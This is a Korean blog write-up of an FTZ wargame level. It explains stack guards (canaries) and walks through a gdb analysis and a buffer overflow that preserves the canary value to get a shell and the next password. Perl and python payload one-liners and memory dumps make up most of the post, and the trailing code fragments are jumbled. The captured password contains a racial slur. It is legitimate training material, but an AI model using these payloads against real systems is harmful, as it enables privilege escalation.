■ Level13 -> Level14
■ 목적
스택 가드(Stack Guard)에 대해서
스택 가드(스택 쉘드)
버퍼 오버플로우는 정확하게 말하면 애플리케이션 개발자의 실수이다. 이런한 취약점을 보안하기 위해 나온 아이디어가 스택가드(Stack Guard)이다. 스택 가드에 저장돼 있는 값이 바뀌었다는 것은 버퍼 오버플로우 공격이 일어났다는 것을 의미하고, 스택가드의 변경이 확인되면 프로세스 실행을 차단해서 공격을 방어 할 수 있다.
[메모리 구조]
-----------------------------------------------
256bytes 4bytes 4bytes 4bytes
char str[256] stack guard SFP RET
AAAA...AAAA AAAA AAAA (새로운주소)
-----------------------------------------------
스택가드의 크기는 보통 4byte or 8byte 정도이다. 단점: 스택가드의 주소값을 알면 같은 값을 써서 변경하지 않고 오버플로우를 할 수 있다. ■ Level14 풀이
level14 사용자 로그인
-> ID/PASS : level14/have no clue
$ cat hint #include <stdlib.h>
main(int argc, char *argv[]() { long i=0x1234567; char buf[1024]; setreuid( 3094, 3094 ); if(argc > 1 ) strcpy(buf ,argv[1]); if(i !=0x1234567) { printf(" Warnning: Buffer Overflow !!! \n"); kill(0,11); } } 버퍼 오버플로우 취약점은 존재하나 i의 값이 0x1234567 이 아니면 종료된다. 이것이 스택가드이다. 저 조건을 만족하면서 우회할 수 있는 공격을 하는게 목적이다. -> # man 2 kill -> # man 7 signal attackme 프로그램을 디스어셈블러로 구조를 살펴본다. $ cp attackme tmp ; cd tmp $ gdb -q attackme (gdb) disas main Dump of assembler code for function main: 0x080484a0 <main+0>: push %ebp 0x080484a1 <main+1>: mov %esp,%ebp 0x080484a3 <main+3>: sub $0x418,%esp /* 0x418 = (10진수) 1048 바이트 */ 0x080484a9 <main+9>: movl $0x1234567,0xfffffff4(%ebp) dummy = 20(지역변수2개) 0x080484b0 <main+16>: sub $0x8,%esp 0x080484b3 <main+19>: push $0xc16 0x080484b8 <main+24>: push $0xc16 0x080484bd <main+29>: call 0x8048370 <setreuid> 0x080484c2 <main+34>: add $0x10,%esp 0x080484c5 <main+37>: cmpl $0x1,0x8(%ebp) 0x080484c9 <main+41>: jle 0x80484e5 <main+69> 0x080484cb <main+43>: sub $0x8,%esp 0x080484ce <main+46>: mov 0xc(%ebp),%eax 0x080484d1 <main+49>: add $0x4,%eax 0x080484d4 <main+52>: pushl (%eax) 0x080484d6 <main+54>: lea 0xfffffbe8(%ebp),%eax 0x080484dc <main+60>: push %eax 0x080484dd <main+61>: call 0x8048390 <strcpy> 0x080484e2 <main+66>: add $0x10,%esp 0x080484e5 <main+69>: cmpl $0x1234567,0xfffffff4(%ebp) se nonu : 12 (if문) 0x080484ec <main+76>: je 0x804850d <main+109> 0x080484ee <main+78>: sub $0xc,%esp 0x080484f1 <main+81>: push $0x80485a0 0x080484f6 <main+86>: call 0x8048360 <printf> 0x080484fb <main+91>: add $0x10,%esp 0x080484fe <main+94>: sub $0x8,%esp 0x08048501 <main+97>: push $0xb 0x08048503 <main+99>: push $0x0 0x08048505 <main+101>: call 0x8048380 <kill> 0x0804850a <main+106>: add $0x10,%esp ---Type <return> to continue, or q <return> to quit--- 0x0804850d <main+109>: leave 0x0804850e <main+110>: ret 0x0804850f <main+111>: nop End of assembler dump. main + 69 에서 스택가드와 비교를 하고 아닐경우 종료를 한다. ------------------------------------------------------------ 1024 24 4 4 char str[1024] ??? SFP RET ------------------------------------------------------------ 총 1056byte인 구조로 생각 할 수 있다.(0x418 = 1048 byte + SFP + RET) 그리고 main + 9 가 스택가드이며 (4byte) 더미는 20byte가 된다. fffffff4 = 1100 = 12byte => ebp -12거리에 가드스택 위치 Breakpoint 1 at 0x80484e5 (gdb) x/264x $esp 0xbffff3c0: 0x41414141 0x41414141 0x00000000 0x00000000 0xbffff3d0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff3e0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff3f0: 0x00000000 0x00000000 0x400126d0 0x400126c8 0xbffff400: 0x400126ca 0x4001552c 0x98265745 0x0002ea46 0xbffff410: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff420: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff430: 0x00000000 0x00000000 0x00000000 0x40016558 0xbffff440: 0x00000040 0x00000080 0x00000010 0x08048204 0xbffff450: 0x08048164 0x00000000 0x40015a38 0x40015360 0xbffff460: 0x00000000 0x00000000 0x0804968c 0x40015a38 0xbffff470: 0x00000000 0x400169e0 0x980d61f4 0x0002ea46 0xbffff480: 0x00000000 0x01000000 0x00000000 0x00000000 0xbffff490: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff4a0: 0x00000001 0x00000000 0x00000000 0x00000000 0xbffff4b0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff4c0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff4d0: 0x00000006 0x400169e0 0x000fffff 0x00000051 0xbffff4e0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff4f0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff500: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff510: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff520: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff530: 0x00000000 0x00000000 0x00000000 0x4000fbce 0xbffff540: 0x00000000 0x00000000 0x40001001 0x4001582c 0xbffff550: 0x40015a34 0x00020414 0xbffff788 0x4000eeaf 0xbffff560: 0x08048034 0x00000006 0xbffff59c 0x00000000 0xbffff570: 0x00000000 0x00000000 0x00000000 0x2d000000 0xbffff580: 0x00000003 0xbffff622 0x0003fbf9 0x00000000 0xbffff590: 0x00000000 0x00000006 0x08048034 0x080483a0 0xbffff5a0: 0x756e694c 0x00000078 0x00000000 0x00000000 0xbffff5b0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff5c0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff5d0: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffff5e0: 0x7a746600 0x6361682e 0x7372656b 0x6f6f6863 0xbffff5f0: 0x726f2e6c 0x00000067 0x00000000 0x00000000 0xbffff600: 0x4000914d 0x40009401 0x08048205 0x40015c68 0xbffff610: 0x400093bb 0x4001582c 0x40015a38 0x00000000 0xbffff620: 0xbffff660 0x4000914d 0x42010c7f 0x08048289 0xbffff630: 0x4001582c 0x4001624c 0x00000020 0x42010d36 0xbffff640: 0x4200bc84 0x42003394 0x400160b0 0x00000003 0xbffff650: 0x40016350 0x4001582c 0x40015bd4 0x08048264 0xbffff660: 0xbffff740 0x40008156 0x08048264 0x078e530f 0xbffff670: 0x08048174 0xbffff6f0 0x40015b88 0x00000001 0xbffff680: 0x40016380 0x00000000 0x00000001 0x42010d36 0xbffff690: 0x4200bc84 0x42003394 0x400160b0 0x00000003 0xbffff6a0: 0x40016350 0x4001582c 0x40015bd4 0x08048252 0xbffff6b0: 0xbffff790 0x40008156 0x08048252 0x0177ff8e 0xbffff6c0: 0x08048194 0xbffff740 0xbffff6f0 0x00000001 0xbffff6d0: 0x40016380 0x00000000 0x00000000 0x078e530f 0xbffff6e0: 0xbffff780 0x40015a38 0x0029656e 0x00000000 0xbffff6f0: 0x4200b894 0x400160b0 0x00000000 0x00000000 0xbffff700: 0x00000000 0x00000000 0x00000000 0x4000807f 0xbffff710: 0x4001582c 0x00001f1f 0xbffff740 0xbffff76c 0xbffff720: 0x4000be03 0x4001624c 0x00000000 0x0177ff8e 0xbffff730: 0x4000807f 0x4001582c 0x00000060 0x40015a38 0xbffff740: 0xbffff790 0x4000be03 0x40015bd4 0x40016380 0xbffff750: 0x00000001 0x00000000 0x4200dba3 0x420069e4 0xbffff760: 0x42130a14 0xbffffc1d 0xbffff824 0xbffff7a4 0xbffff770: 0x4000bcc0 0x080496d8 0x00000001 0x08048264 0xbffff780: 0x4210fd3c 0x42130a14 0xbffff7a8 0x4210fdf6 0xbffff790: 0x080495f0 0x080496f8 0x00000000 0x00000000 0xbffff7a0: 0x4210fdc0 0x42130a14 0xbffff7c8 0x08048481 0xbffff7b0: 0x080495f0 0x080496f8 0x4001582c 0x080483ce 0xbffff7c0: 0x08048308 0x42130a14 0xbffff7d8 0x01234567 <--스택가드 0xbffff7d0: 0x4200af84 0x42130a14 0xbffff7f8 0x42015574 (gdb) cont Continuing. (gdb) r $(perl -e 'print "A"x1048') The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/level13/tmp/attackme $(perl -e 'print "A"x1048') Breakpoint 1, 0x080484e5 in main () (gdb) x/264x $esp (1056byte) 0xbfffe830: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe840: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe850: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe860: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe870: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe880: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffe890: 0x41414141 0x41414141 0x41414141 0x41414141 ..... (중략) ...... 0xbfffebc0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffebd0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffebe0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffebf0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffec00: 0x41414141 0x41414141 0x41414141 0x41414141 ---Type <return> to continue, or q <return> to quit--- 0xbfffec10: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffec20: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffec30: 0x41414141 0x41414141 0x41414141 0x41414141 0xbfffec40: 0x41414141 0x41414141 0xbfffec00 0x42015574 (gdb) continue Continuing. Warnning: Buffer Overflow !!! Program received signal SIGSEGV, Segmentation fault. 0xffffe002 in ?? () (gdb) quit ebp 에서 12byte만큼 거리에 가드스택이 존재한다. ------------------------------------------------------------ 1024 12 4 8 4 4 char str[1024] dummy stack guard dummy SFP RET 0x1234567 ------------------------------------------------------------ <--낮은주소 높은주소--> + + +------------------------------------------------+ 1048 byte 1048 bytes = 1024 + 12 + 4 + 8 1036byte + 0x1234567 + 12byte + 주소 더미(1036) + 0x1234567 + SFP + eggshell 주소 $ ./attackme `python -c 'print "c"*1036+"\x67\x45\x23\x01"+"C"*12+"\xb8\xfa\xff\xbf"'` or $ (python -c 'print "A"*1036 + "\x67\x45\x23\x01" + "A"*12 + "\xb8\xf5\xff\xbf"'; cat) | ./attackme $ cd ; /home/level12/tmp/egg 300 Using address: 0xbffffab8 sh-2.05b$ ./attackme $(perl -e 'print "A"x1035') <-- 스택가드의 위치 1035byte sh-2.05b$ ./attackme $(perl -e 'print "A"x1036') Warnning: Buffer Overflow !!! 세그멘테이션 오류 sh-2.05b$ ./attackme $(perl -e 'print "A"x1036,"\x67\x45\x23\x01"') sh-2.05b$ ./attackme $(perl -e 'print "A"x1036,"\x67\x45\x23\x01","\xb8\xfa\xff\xbf"x20') sh-2.05b$ id uid=3094(level14) gid=3093(level13) groups=3093(level13) sh-2.05b$ my-pass TERM environment variable not set. Level14 Password is "what that nigga want?". sh-2.05b$ exit exit sh-2.05b$ exit exit ■ 쉘코드 작성 printf("%x", getenv("SC")); } $ gcc -o locate locate.c $ ./locate
(gdb) run AAAAAAAA
int main () {
return 0;
'Learning > └◆Reversing' 카테고리의 다른 글
15_Level15 -> Level16[FTZ] 루틴 분기 키값의 이해 2 (0) | 2017.01.30 |
---|---|
14_Level14 -> Level15[FTZ] 루틴 분기 키값의 이해 (0) | 2017.01.30 |
12_Level12 -> Level13[FTZ] gets함수의 취약점(Stack Buffer Overflow) (0) | 2017.01.30 |
[참고] Format String 공격시 (0) | 2017.01.30 |